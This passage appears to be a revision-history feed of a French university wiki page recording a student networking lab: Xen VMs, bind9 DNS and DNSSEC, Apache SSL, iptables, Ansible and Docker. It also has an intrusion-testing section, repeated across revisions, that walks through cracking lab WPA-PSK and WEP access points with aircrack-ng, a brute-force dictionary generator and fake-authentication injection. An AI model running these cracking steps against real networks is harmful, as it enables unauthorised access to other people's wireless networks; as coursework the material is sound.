On peut alors lancer le cassage à l'aide de:&lt;br /&gt;
  aircrack-ng -a2 -b 04:DA:D2:9C:50:5D -w path_to_dict/dict.txt path_to_packedOneCheck_result/*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient le résultat suivant:&lt;br /&gt;
[[Fichier:ftzb-wpa-result.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Cassage de clef WEP d’un point d’accès Wifi'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On connaît déjà le nom de notre interface, on peut donc directement lancer la commande suivante pour récupérer le canal et le ssid de notre nouvelle cible:&lt;br /&gt;
  airodump-ng --encrypt xep wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Comme précedémment avec le WPA on peut lancer la commande:&lt;br /&gt;
  airodump-ng -c 2 –-bssid 04:DA:D2:9C:50:50 -w Wep wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Elle permet de capture les paquets qui transitent sur le réseau, l'objectif est de récupérer le maximum de vecteurs d'initialisation qui seront sauvegardés dans le fichier spécifié. Plus ce nombre de vecteurs est important, plus le cassage de la clé sera facilité. Pour augmenter le débit de paquets intéressants pour nous, on peut effectuer de fausses connexions à la machine cible via la commande:&lt;br /&gt;
  aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:5D wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Une fois le nombre de vecteur suffisants (on a choisit 30 000 pour une question de gain de temps), on peut arrêter ce processus et lancer le cassage avec:&lt;br /&gt;
  aircrack-ng Wep*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient alors le résultat suivant:&lt;br /&gt;
[[Fichier:ftzb-wep-result.png|600px|center]]&lt;/div&gt;</summary>
		<author><name>Zbriois</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2019/2020_G4&amp;diff=51806</id>
		<title>TP sysres IMA5sc 2019/2020 G4</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2019/2020_G4&amp;diff=51806"/>
				<updated>2019-12-16T13:37:51Z</updated>
		
		<summary type="html">&lt;p&gt;Zbriois : /* Création de votre conteneur */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Installation des systèmes d’exploitation: machine virtuelle Xen==&lt;br /&gt;
'''Lors de la 1ère séance:'''&lt;br /&gt;
&lt;br /&gt;
Nous avons d'abord réserver le nom de domaine via gandi.net: chlamydiae.site.&lt;br /&gt;
&lt;br /&gt;
Ensuite nous allons créer une machine virtuelle sur cordouan grâce à l’hyperviseur Xen.&lt;br /&gt;
On se connecte d'abord en SSH à Cordouan, puis on spécifie le proxy pour pouvoir ensuite récupérer les packages. On peut alors créer l'image de la machine en spécifiant --dhcp car on ne connaît pas encore l’adresse IP.&lt;br /&gt;
&lt;br /&gt;
  ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
  export http_proxy=http://proxy.polytech.fr:3128&lt;br /&gt;
  xen-create-image --hostname=chlamidyae --dhcp --dir=/usr/local/xen --force&lt;br /&gt;
&lt;br /&gt;
Adresse MAC obtenue: 00:16:3E:83:27:97&lt;br /&gt;
&lt;br /&gt;
'''Lors de la 2ème séance:'''&lt;br /&gt;
&lt;br /&gt;
Le fichier de configuration de notre machine virtuelle se trouve dans etc/xen/chlamydiae.cfg&lt;br /&gt;
&lt;br /&gt;
  #&lt;br /&gt;
  # Configuration file for the Xen instance chlamydiae, created&lt;br /&gt;
  # by xen-tools 4.7 on Mon Nov 18 17:11:19 2019.&lt;br /&gt;
  #&lt;br /&gt;
  #&lt;br /&gt;
  #  Kernel + memory size&lt;br /&gt;
  #&lt;br /&gt;
  kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
  extra       = 'elevator=noop'&lt;br /&gt;
  ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
  &lt;br /&gt;
  vcpus       = '1'&lt;br /&gt;
  memory      = '256'&lt;br /&gt;
  #&lt;br /&gt;
  #  Disk device(s).&lt;br /&gt;
  #&lt;br /&gt;
  root        = '/dev/xvda2 ro'&lt;br /&gt;
  disk        = [&lt;br /&gt;
                    'file:/usr/local/xen/domains/chlamydiae/disk.img,xvda2,w',&lt;br /&gt;
                    'file:/usr/local/xen/domains/chlamydiae/swap.img,xvda1,w',&lt;br /&gt;
                ]&lt;br /&gt;
  #    &lt;br /&gt;
  #  Hostname&lt;br /&gt;
  #&lt;br /&gt;
  name        = 'chlamydiae'&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Networking&lt;br /&gt;
  #&lt;br /&gt;
  dhcp        = 'dhcp'&lt;br /&gt;
  vif         = [ 'mac=00:16:3E:D0:18:F4' ]&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Behaviour&lt;br /&gt;
  #&lt;br /&gt;
  on_poweroff = 'destroy'&lt;br /&gt;
  on_reboot   = 'restart'&lt;br /&gt;
  on_crash    = 'restart'&lt;br /&gt;
&lt;br /&gt;
==Architecture réseau==&lt;br /&gt;
&lt;br /&gt;
==Services Internet==&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
On ajoute d'abord le bridge IMA5sc dans l’ensemble de nos VM&lt;br /&gt;
On leur ajoute également les disks: var, home et les 3 crées par l’autre groupe pour le RAID.&lt;br /&gt;
&lt;br /&gt;
On reboot les VM:&lt;br /&gt;
  xl reboot chlamydiae&lt;br /&gt;
ou&lt;br /&gt;
  xl destroy chlamydiae&lt;br /&gt;
  xl create chlamydiae.cfg&lt;br /&gt;
&lt;br /&gt;
Pour se connecter a une VM:&lt;br /&gt;
  xl console chlamydiae&lt;br /&gt;
&lt;br /&gt;
Pour permettre à la VM d'accéder à internet, on modifie sont etc/network/interfaces:&lt;br /&gt;
  # The primary network interface&lt;br /&gt;
  auto eth0&lt;br /&gt;
  iface eth0 inet static&lt;br /&gt;
   address 193.48.57.180&lt;br /&gt;
   netmask 255.255.255.240&lt;br /&gt;
&lt;br /&gt;
Puis ifup / ifdown de eth0.&lt;br /&gt;
&lt;br /&gt;
Après l'ajout du gateway, nous arrivons désormais à pinger internet depuis notre machine virtuel, mais aussi à pinger notre VM depuis la Zabeth. Enfin pour pouvoir se connecter en ssh depuis la zabeth sur la VM nous avons modifié le fichier etc/ssh/sshd_config et remplacer la ligne commentée :&lt;br /&gt;
  #PermitRootLogin prohibit-password&lt;br /&gt;
par&lt;br /&gt;
  PermitRootLogin yes&lt;br /&gt;
Il faut ensuite rebooter la machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
On fait d'abord la demande de certificat sur Gandi.&lt;br /&gt;
&lt;br /&gt;
Ensuite pour la configuration du DNS:&lt;br /&gt;
- on commence par vérifier que la ligne suivante est bien présente dans le fichier /etc/bind/named.conf.options&lt;br /&gt;
  dnssec-validation auto;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Sur Cordouan on installe bind9: &lt;br /&gt;
&lt;br /&gt;
   apt install bind9 bind9-host dnsutils&lt;br /&gt;
&lt;br /&gt;
Modification de la configuration de bind9 :&lt;br /&gt;
&lt;br /&gt;
On créé un fichier de configuration de zone chlamydiae.site dans /etc/bind/ avec le contenu suivant : &lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns.chlamydiae.site. root.chlamydiae.site (&lt;br /&gt;
 			3	; Serial&lt;br /&gt;
 			604800	; Refresh&lt;br /&gt;
 			86400	; Retry&lt;br /&gt;
 			2419200	; Expire&lt;br /&gt;
 			604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 	IN	NS	ns.chlamydiae.site.&lt;br /&gt;
 	IN	NS	ns6.gandi.net.&lt;br /&gt;
 @      IN      A       193.48.57.180&lt;br /&gt;
 ns	IN	A	193.48.57.180&lt;br /&gt;
 www	IN	A	193.48.57.180&lt;br /&gt;
&lt;br /&gt;
Faire bien attention à la fin des nameServer sinon bind9 ajoute automatiquement le nom du domaine.&lt;br /&gt;
&lt;br /&gt;
Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;hercule.space&amp;quot; {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/chlamydiae.site&amp;quot;; &lt;br /&gt;
         allow-transfer {217.70.177.40;}; //dns de gandi &lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.&lt;br /&gt;
&lt;br /&gt;
On redémarre bind9 :&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
En cas d'erreur on a accès au log dans /var/log/daemon.log&lt;br /&gt;
&lt;br /&gt;
Sur gandi.net dans l'onglet Glue Records de notre domaine, il faut ajouter: &lt;br /&gt;
  name : ns.chlamydiae.site&lt;br /&gt;
  IP address : 193.48.57.180&lt;br /&gt;
&lt;br /&gt;
C'est l'association du serveur DNS créé avec notre adresse IP:&lt;br /&gt;
&lt;br /&gt;
Changement des nameserver sur gandi.net : &lt;br /&gt;
  DNS 1: ns.chlamydiae.site&lt;br /&gt;
  DNS 2: ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
===Serveur Apache===&lt;br /&gt;
Création du dossier /var/www/www.chlamydiae.pw&lt;br /&gt;
&lt;br /&gt;
*''' Certification SSL :'''&lt;br /&gt;
&lt;br /&gt;
Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :&lt;br /&gt;
   openssl req -nodes -newkey rsa:2048 -sha256 -keyout chlamydiae.pw.key -out chlamydiae.pw.csr&lt;br /&gt;
&lt;br /&gt;
On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement. &lt;br /&gt;
&lt;br /&gt;
*'''Configuration Apache :'''&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur web dans le fichier /etc/apache2/sites-available/chlamydiae.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:443&amp;gt;&lt;br /&gt;
                 ServerName www.chlamydiae.site&lt;br /&gt;
                 ServerAlias chlamydiae.site&lt;br /&gt;
                 DocumentRoot /var/www/html/&lt;br /&gt;
                 CustomLog /var/log/apache2/secure_acces.log combined&lt;br /&gt;
 &lt;br /&gt;
                 SSLEngine on&lt;br /&gt;
                 SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt&lt;br /&gt;
                 SSLCertificateKeyFile /etc/ssl/private/hmyserver.key&lt;br /&gt;
                 SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
                 SSLVerifyClient None&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Redirection automatique du port http vers le port https &lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:80&amp;gt;&lt;br /&gt;
                 ServerName www.chlamydiae.site&lt;br /&gt;
                 ServerAlias chlamydiae.site&lt;br /&gt;
                 Redirect / https://www.chlamydiae.site&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
==== DNSSEC ====&lt;br /&gt;
&lt;br /&gt;
Pour ajouter l'extension de sécurité sur notre DNS on l'active dans named.conf.options: &lt;br /&gt;
 dnssec-enable yes;&lt;br /&gt;
&lt;br /&gt;
Puis, nous créons le répertoire '''chlamydiae.site.dnssec''' dossier où on générera les clés.&lt;br /&gt;
Pour générer les clés  KSK on lance la commande suivante: &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE chlamydiae.site&lt;br /&gt;
Pour générer la clef asymétrique de signature (ZSK) de clefs de zone : &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE chlamydiae.site&lt;br /&gt;
On renomme nos clefs avec des noms plus explicite : &lt;br /&gt;
 chlamydiae.site-ksk.key&lt;br /&gt;
 chlamydiae.site-ksk.private&lt;br /&gt;
 chlamydiae.site-zsk.key&lt;br /&gt;
 chlamydiae.site-zsk.private&lt;br /&gt;
&lt;br /&gt;
On inclue alors nos clefs en les ajoutant dans le fichier de zone '''/etc/bind/chlamydiae''' :&lt;br /&gt;
 $include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-ksk.key&lt;br /&gt;
 $include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-zsk.key&lt;br /&gt;
On signe les enregistrements de la zone en exécutant la  commande suivante (dans le répertoire chlamydiae.site-dnssec): &lt;br /&gt;
 dnssec-signzone -o chlamydiae.site -k chlamydiae.site-ksk ../chlamydiae.site chlamydiae.site-zsk&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant que notre zone est signé.On  modifie le fichier '''named.conf.local''' pour utiliser le fichier de zone signé : &lt;br /&gt;
 file &amp;quot;/etc/bind/db.hadess.space.signed&amp;quot;;&lt;br /&gt;
On communique à gandi.net la partie publique de nos clés (chlamydiae.site-*.key) dans notre domaine pour l'onglet dnssec ajout external key ( faire attention de sélectionner l'algorithme rsaha1); on le fait pour KSK et ZSK.&lt;br /&gt;
&lt;br /&gt;
Enfin, on relance le service bind : &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
==Ferme de serveurs Web==&lt;br /&gt;
====Architecture générale de la ferme====&lt;br /&gt;
On commence par créer une seconde machien virtuelle:&lt;br /&gt;
  ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
  # export http_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
  # export https_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
  # xen-create-image --hostname=private-chlamydiae --ip=ip 192.168.0.4 --dir=/usr/local/xen --force&lt;br /&gt;
&lt;br /&gt;
On peut suivre l'avancement en faisant:&lt;br /&gt;
  tail -f /var/log/xen-tools/private-chlamydiae.log&lt;br /&gt;
&lt;br /&gt;
Ensuite on modifie les fichiers de configuration des 2 machines virtuelles présents dans /etc/xen/ :&lt;br /&gt;
Pour la première (chlamydiae):&lt;br /&gt;
&lt;br /&gt;
  vif = ['mac=00:16:3E:D0:18:F4, bridge=IMA5sc','mac=00:16:3E:D0:18:FE, bridge=IMA5sc_priv' ]&lt;br /&gt;
&lt;br /&gt;
Pour la seconde:&lt;br /&gt;
  vif = [ 'mac=00:16:3E:9A:57:AB, bridge=IMA5sc_priv' ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On augmente également la mémoire à 512M pour les deux.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans la chlamydiae/etc/network/interfaces:&lt;br /&gt;
  auto eth1&lt;br /&gt;
  iface eth1 inet static&lt;br /&gt;
   address 192.168.0.14         # = adresse de private-chlamydiae + 10&lt;br /&gt;
   netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Dans private-chlamydiae/etc/network/interfaces:&lt;br /&gt;
  auto eth0&lt;br /&gt;
  iface eth0 inet static&lt;br /&gt;
   gateway 193.48.57.180       # l'adresse de la VM principale&lt;br /&gt;
   address 192.168.0.4&lt;br /&gt;
 &lt;br /&gt;
Puis les ifdown / ifup habituels, maintenant depuis chlamydiae on peut pinger private-chlamydiae.&lt;br /&gt;
&lt;br /&gt;
Pour faire la mascarade, sur chlamydiae:&lt;br /&gt;
  iptables -P FORWARD DROP&lt;br /&gt;
  iptables -A FORWARD -j ACCEPT -s 192.168.0.0/24&lt;br /&gt;
  iptables -A FORWARD -j ACCEPT -d 192.168.0.0/24&lt;br /&gt;
  iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.0.0/24&lt;br /&gt;
  echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour rendre la configuration persistante:&lt;br /&gt;
  apt install iptables-persistent &amp;gt; Yes &amp;gt; Yes&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on installe Ansible sur la VM principale (et Python sur la secondaire).&lt;br /&gt;
On crée un inventaire dans /etc/ansible/hosts en séparant l’ensemble des serveurs internes et le notre:&lt;br /&gt;
  ---&lt;br /&gt;
  all:&lt;br /&gt;
    hosts:&lt;br /&gt;
      nous:&lt;br /&gt;
        ansible_host: 192.168.0.4&lt;br /&gt;
    children:&lt;br /&gt;
      serveurs-internes:&lt;br /&gt;
        hosts:&lt;br /&gt;
          192.168.0.[1:6]&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On crée notre clé, que l'on propage sur l'ensemble des serveurs private:&lt;br /&gt;
  ssh-keygen -t rsa&lt;br /&gt;
  cat .ssh/id_rsa.pub | ssh 192.168.0.1 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot;&lt;br /&gt;
&lt;br /&gt;
On écrit notre premier playbook qui installe lsb-release et effectue la commande lsb_release -d:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: serveurs-internes&lt;br /&gt;
    tasks:&lt;br /&gt;
    - name: install lsb-release&lt;br /&gt;
      apt: &lt;br /&gt;
        update_cache=yes&lt;br /&gt;
        state=latest&lt;br /&gt;
        name =  { { item } }&lt;br /&gt;
      with_items:&lt;br /&gt;
      - lsb-release&lt;br /&gt;
    - name: test lsb release&lt;br /&gt;
      shell: 'lsb_release -d'&lt;br /&gt;
      register: ps&lt;br /&gt;
    - debug: var=ps.stdout_lines&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
On lance le playbook:&lt;br /&gt;
  ansible-playbook jeu-lsb-release.yml&lt;br /&gt;
&lt;br /&gt;
On obtient le résultat suivant:&lt;br /&gt;
[[Fichier:jeu-lsb-release1.png|600px|center]]&lt;br /&gt;
[[Fichier:jeu-lsb-release2.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
===Paramétrage des rôles===&lt;br /&gt;
Crée un dossier roles dans /root &lt;br /&gt;
 mkdir roles &lt;br /&gt;
&lt;br /&gt;
Créer dans le dossier roles un dossier common et un fichier common.yml&lt;br /&gt;
 mkdir common &amp;amp;&amp;amp; vim common.yml &lt;br /&gt;
&lt;br /&gt;
Dans le fichier Common.yml: &lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: nous&lt;br /&gt;
    tasks:&lt;br /&gt;
      - name: include common&lt;br /&gt;
        include_role:&lt;br /&gt;
          name: common&lt;br /&gt;
&lt;br /&gt;
Dans le dossier common on crée deux dossiers, un dossier files contenant les fichiers (.conf, motd, etc.) et un dossier tasks où il y aura nos playbooks.&lt;br /&gt;
&lt;br /&gt;
===== Motd =====&lt;br /&gt;
Dans le dossier tasks on crée un fichier main.yml:&lt;br /&gt;
  - name: Write on motd&lt;br /&gt;
    copy:&lt;br /&gt;
       dest: /etc/motd&lt;br /&gt;
       src: motd&lt;br /&gt;
&lt;br /&gt;
Dans ce fichier on lui dit de copier le fichier motd qu'il cherche arbitrairement dans common/files vers le etc/motd de la machine à qui on applique le rôle.&lt;br /&gt;
Ce fichier motd contiendra notre message.&lt;br /&gt;
&lt;br /&gt;
===== NTP =====&lt;br /&gt;
Pour le serveur de temps dans le fichier main.yml on ajoute: &lt;br /&gt;
  - name: install ntp&lt;br /&gt;
    apt:&lt;br /&gt;
      name: ntp&lt;br /&gt;
  - name: install ntpdate&lt;br /&gt;
    apt:&lt;br /&gt;
      name: ntpdate  &lt;br /&gt;
  - name: Copy over the NTP configuration&lt;br /&gt;
    copy: src=ntp.conf dest=/etc/ntp.conf&lt;br /&gt;
    tags: ntp&lt;br /&gt;
   - name: Stop ntp&lt;br /&gt;
     service: name=ntp state=stopped enabled=yes&lt;br /&gt;
     tags: ntpd                            &lt;br /&gt;
  - name: Sync time initialy&lt;br /&gt;
    shell: ntpdate ntp.polytech-lille.fr&lt;br /&gt;
    tags: ntp&lt;br /&gt;
  - name: Make sure NTP is started up&lt;br /&gt;
    service: name=ntp state=started enabled=yes&lt;br /&gt;
    tags: ntp&lt;br /&gt;
&lt;br /&gt;
Dans le dossier files on crée ntp.conf qui référence notre NTP:&lt;br /&gt;
  server ntp.polytech-lille.fr&lt;br /&gt;
&lt;br /&gt;
====Installation de docker====&lt;br /&gt;
On commence par installer le rôle docker dont on a besoin:&lt;br /&gt;
  ansible-galaxy install geerlingguy.docker (la doc est ici https://github.com/geerlingguy/ansible-role-docker)&lt;br /&gt;
&lt;br /&gt;
Puis on crée notre playbook:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: nous&lt;br /&gt;
    vars:&lt;br /&gt;
      - pip_install_packages:&lt;br /&gt;
        - name: docker&lt;br /&gt;
      - docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian stretch stable&amp;quot;&lt;br /&gt;
    roles:&lt;br /&gt;
      - geerlingguy.pip&lt;br /&gt;
      - geerlingguy.docker&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
Ça fonctionne, on obtient sur la machine principale:&lt;br /&gt;
[[Fichier:result_jeu_docker.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
Sur la machine secondaire, on voit bien que docker a été installé:&lt;br /&gt;
[[Fichier:result-jeu-docker-bis.png|300px|center]]&lt;br /&gt;
&lt;br /&gt;
====Création de votre conteneur====&lt;br /&gt;
On suit ce tutoriel:&lt;br /&gt;
https://medium.com/@vi1996ash/steps-to-build-apache-web-server-docker-image-1a2f21504a8e&lt;br /&gt;
&lt;br /&gt;
Sur la machine secondaire:&lt;br /&gt;
:- on crée notre index.html (basique)&lt;br /&gt;
:- on crée notre dockerfile:&lt;br /&gt;
  FROM centos:latest&lt;br /&gt;
  MAINTAINER NewstarCorporation&lt;br /&gt;
  RUN yum -y install httpd&lt;br /&gt;
  COPY index.html /var/www/html/&lt;br /&gt;
  CMD [“/usr/sbin/httpd”, “-D”, “FOREGROUND”]&lt;br /&gt;
  EXPOSE 80&lt;br /&gt;
&lt;br /&gt;
On crée l'image:&lt;br /&gt;
  docker build DockerFiles/ -t webserver:v1&lt;br /&gt;
&lt;br /&gt;
[[Fichier:result-httpd.png|400px|center]]&lt;br /&gt;
&lt;br /&gt;
Puis on la run:&lt;br /&gt;
  docker run -dit -p 1234:80 webserver:v1&lt;br /&gt;
&lt;br /&gt;
====Configuration de vos serveurs internes====&lt;br /&gt;
====Equilibreur de charge====&lt;br /&gt;
&lt;br /&gt;
==Tests d’intrusion==&lt;br /&gt;
'''Cassage de mot de passe WPA-PSK par force brute'''&lt;br /&gt;
&lt;br /&gt;
Lors de la 2ème séance:&lt;br /&gt;
&lt;br /&gt;
Nous avons utilisé aircrack-ng pour lancer une recherche sur le mot de passe de l’identification par WPA-PSK en supposant que ce nombre est sur 8 chiffres.&lt;br /&gt;
&lt;br /&gt;
D'abord on vérifie que le Wi-Pi est connecté:&lt;br /&gt;
  ls usb&lt;br /&gt;
Ensuite on récupère le nom de notre interface:&lt;br /&gt;
  iwconfig&lt;br /&gt;
On obtient wlx40a5ef0125e9, si il n'est pas en mode 'Monitor' il est nécessaire de lancer la commande&lt;br /&gt;
  airmon-ng start wlx40a5ef0125e9&lt;br /&gt;
On récupère alors tout les points d'accès accessibles en wifi (et donc l'adresse de la cible) via:&lt;br /&gt;
  airodump-ng wlx40a5ef0125e9&lt;br /&gt;
Ensuite il faut récupérer le paquet OnCheck grâce à la commande suivante où -c permet de préciser le numéro du channel, -bssid l'adresse MAC de la cible et -w le path du fichier où écrire le résultat.&lt;br /&gt;
  airodump-ng -c 2 --bssid 04:DA:D2:9C:50:5D -w ./home/pifou/packedOneCheck wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons généré le dictionnaire, on a réalisé un script en C et un en Python:&lt;br /&gt;
&lt;br /&gt;
Celui en Python s’exécute en 39 s &lt;br /&gt;
  dictfile=open(&amp;quot;dict.txt&amp;quot;,&amp;quot;a&amp;quot;)&lt;br /&gt;
  for i in range(99999999):&lt;br /&gt;
    dictfile.write(str(i)+'\n')&lt;br /&gt;
  dictfile.close()&lt;br /&gt;
&lt;br /&gt;
Celui en C s’exécute en 7 s&lt;br /&gt;
  #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
  int main() {&lt;br /&gt;
    FILE *f;&lt;br /&gt;
    f= fopen(&amp;quot;dictc.txt&amp;quot;, &amp;quot;a&amp;quot;);	&lt;br /&gt;
    for(int i=0;i&amp;lt;=99999999;i++) {&lt;br /&gt;
      fprintf(f, &amp;quot;%08d\n&amp;quot;, i);&lt;br /&gt;
    }&lt;br /&gt;
    fclose(f);&lt;br /&gt;
    return 0;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
On peut alors lancer le cassage à l'aide de:&lt;br /&gt;
  aircrack-ng -a2 -b 04:DA:D2:9C:50:5D -w path_to_dict/dict.txt path_to_packedOneCheck_result/*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient le résultat suivant:&lt;br /&gt;
[[Fichier:ftzb-wpa-result.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Cassage de clef WEP d’un point d’accès Wifi'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On connaît déjà le nom de notre interface, on peut donc directement lancer la commande suivante pour récupérer le canal et le ssid de notre nouvelle cible:&lt;br /&gt;
  airodump-ng --encrypt xep wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Comme précedémment avec le WPA on peut lancer la commande:&lt;br /&gt;
  airodump-ng -c 2 –-bssid 04:DA:D2:9C:50:50 -w Wep wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Elle permet de capture les paquets qui transitent sur le réseau, l'objectif est de récupérer le maximum de vecteurs d'initialisation qui seront sauvegardés dans le fichier spécifié. Plus ce nombre de vecteurs est important, plus le cassage de la clé sera facilité. Pour augmenter le débit de paquets intéressants pour nous, on peut effectuer de fausses connexions à la machine cible via la commande:&lt;br /&gt;
  aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:5D wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Une fois le nombre de vecteur suffisants (on a choisit 30 000 pour une question de gain de temps), on peut arrêter ce processus et lancer le cassage avec:&lt;br /&gt;
  aircrack-ng Wep*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient alors le résultat suivant:&lt;br /&gt;
[[Fichier:ftzb-wep-result.png|600px|center]]&lt;/div&gt;</summary>
		<author><name>Zbriois</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2019/2020_G4&amp;diff=51805</id>
		<title>TP sysres IMA5sc 2019/2020 G4</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2019/2020_G4&amp;diff=51805"/>
				<updated>2019-12-16T13:36:07Z</updated>
		
		<summary type="html">&lt;p&gt;Zbriois : /* Serveur Apache */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Installation des systèmes d’exploitation: machine virtuelle Xen==&lt;br /&gt;
'''Lors de la 1ère séance:'''&lt;br /&gt;
&lt;br /&gt;
Nous avons d'abord réserver le nom de domaine via gandi.net: chlamydiae.site.&lt;br /&gt;
&lt;br /&gt;
Ensuite nous allons créer une machine virtuelle sur cordouan grâce à l’hyperviseur Xen.&lt;br /&gt;
On se connecte d'abord en SSH à Cordouan, puis on spécifie le proxy pour pouvoir ensuite récupérer les packages. On peut alors créer l'image de la machine en spécifiant --dhcp car on ne connaît pas encore l’adresse IP.&lt;br /&gt;
&lt;br /&gt;
  ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
  export http_proxy=http://proxy.polytech.fr:3128&lt;br /&gt;
  xen-create-image --hostname=chlamidyae --dhcp --dir=/usr/local/xen --force&lt;br /&gt;
&lt;br /&gt;
Adresse MAC obtenue: 00:16:3E:83:27:97&lt;br /&gt;
&lt;br /&gt;
'''Lors de la 2ème séance:'''&lt;br /&gt;
&lt;br /&gt;
Le fichier de configuration de notre machine virtuelle se trouve dans etc/xen/chlamydiae.cfg&lt;br /&gt;
&lt;br /&gt;
  #&lt;br /&gt;
  # Configuration file for the Xen instance chlamydiae, created&lt;br /&gt;
  # by xen-tools 4.7 on Mon Nov 18 17:11:19 2019.&lt;br /&gt;
  #&lt;br /&gt;
  #&lt;br /&gt;
  #  Kernel + memory size&lt;br /&gt;
  #&lt;br /&gt;
  kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
  extra       = 'elevator=noop'&lt;br /&gt;
  ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
  &lt;br /&gt;
  vcpus       = '1'&lt;br /&gt;
  memory      = '256'&lt;br /&gt;
  #&lt;br /&gt;
  #  Disk device(s).&lt;br /&gt;
  #&lt;br /&gt;
  root        = '/dev/xvda2 ro'&lt;br /&gt;
  disk        = [&lt;br /&gt;
                    'file:/usr/local/xen/domains/chlamydiae/disk.img,xvda2,w',&lt;br /&gt;
                    'file:/usr/local/xen/domains/chlamydiae/swap.img,xvda1,w',&lt;br /&gt;
                ]&lt;br /&gt;
  #    &lt;br /&gt;
  #  Hostname&lt;br /&gt;
  #&lt;br /&gt;
